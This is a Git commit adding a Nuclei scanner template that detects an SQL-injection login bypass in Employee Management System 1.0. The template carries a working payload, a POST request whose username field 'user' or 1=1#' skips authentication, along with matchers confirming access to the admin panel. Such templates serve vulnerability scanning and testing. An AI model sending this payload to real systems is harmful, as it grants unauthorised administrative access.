Create ems-sqli.yaml

patch-1
Arafat Ansari 2022-07-21 12:39:06 +05:30 committed by GitHub
parent 275f402d7e
commit 2fd7baf1bf
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 35 additions and 0 deletions

View File

@ -0,0 +1,35 @@
id: ems-sqli
info:
name: Employee Management System 1.0 - SQLi Authentication Bypass
author: arafatansari
severity: high
description: |
Employee Management System Login page can be bypassed with a simple SQLi to the username parameter.
reference:
- https://www.exploit-db.com/exploits/48882
tags: sqli,bypass,cms
requests:
- raw:
- |
POST /process/aprocess.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
mailuid=user%27+or+1%3D1%23&pwd=nuclei&login-submit=Login
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'window.start_load'
- 'Admin Panel'
- 'Employee Management System'
- type: status
status:
- 200